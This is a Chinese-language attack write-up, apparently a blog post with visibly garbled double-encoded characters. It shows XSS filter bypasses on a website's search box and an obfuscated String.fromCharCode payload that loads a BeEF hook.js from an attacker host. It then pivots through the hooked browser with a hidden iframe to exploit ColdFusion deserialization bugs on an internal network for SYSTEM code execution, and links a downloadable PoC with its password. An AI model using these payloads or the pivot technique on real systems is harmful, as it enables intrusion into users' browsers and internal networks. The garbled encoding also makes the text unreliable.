在對某網(wǎng)站進(jìn)行測試的時(shí)候,發(fā)現(xiàn)有個(gè)搜索框。在排除存在SQL注入后進(jìn)行XSS測試,這里拿比較常見的payload: <script>alert(1);</script>來測試下,從頁面的顯示結(jié)果來看是存在XSS檢測的。那首先要解決的問題就是來繞過這個(gè)檢測。
在把payload經(jīng)過一些變形后(主要就是加了些空格),比如這樣 < script>alert(1);< /script>,成功彈出對話框,表示繞過成功。既然存在XSS,那利用的方式就不僅限于彈框了,這里就結(jié)合著名的beef-xss框架來對內(nèi)網(wǎng)進(jìn)行一次有趣的實(shí)驗(yàn)。
先在kali下開啟beef:
可以看到需要引用hook.js文件,在網(wǎng)站搜索框輸入< script src="http://192.168.111.133:3000/hook.js" >< /script>后發(fā)現(xiàn)并沒有成功,通過查看返回的頁面源碼發(fā)現(xiàn)空格以及等于號都消失了。從這里就可以看出,網(wǎng)站不僅存在xss檢測,還會把一些特殊字符過濾掉,這也是為什么在script標(biāo)簽處加了空格后依然能夠被正常解析運(yùn)行的原因了。
既然等于號會被過濾,那就再次對payload變形(沒等于號了):< script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 49, 49, 49, 46, 49, 51, 51, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))< /script>,這次終于成功上線了。
在beef-xss框架中,可以發(fā)送很多命令給加載了hook.js文件的瀏覽器來運(yùn)行。利用這個(gè)框架,來對一些處于外網(wǎng)訪問不到的內(nèi)網(wǎng)應(yīng)用進(jìn)行攻擊有時(shí)可以達(dá)到意想不到的效果。這里選擇要攻擊的應(yīng)用就是ColdFusion 2016 Update 3(最近修復(fù)了編號CVE-2017-11283、CVE-2017-11238這兩個(gè)反序列化漏洞)。要達(dá)到攻擊效果,這里就使用beef框架來創(chuàng)建一個(gè)隱藏的iframe,iframe的url地址所指的文件中就包含了攻擊的payload。這里主要是通過XMLHttpRequest來發(fā)送一個(gè)POST請求,帶上攻擊的payload發(fā)送到ColdFusion的1099端口。
在beef框架中選擇Create Invisible Iframe命令后填入可以訪問到的URL地址,點(diǎn)擊運(yùn)行后,ColdFusion中的漏洞就被觸發(fā),可以看到notepad.exe成功運(yùn)行,還是system權(quán)限。
通過以上實(shí)驗(yàn)可以發(fā)現(xiàn),xss威力還是不容小覷,單就拿可以發(fā)送POST數(shù)據(jù)包給內(nèi)網(wǎng)的應(yīng)用來說,一些WebLogic、WebSphere、JBoss、Jenkins以及喜聞樂見的Struts2應(yīng)用都是可以被攻擊的,只是限于同源策略的影響,返回結(jié)果不太容易獲得。
最后附上poc.html (鏈接: https://pan.baidu.com/s/1bptryNl 密碼: 2g2p)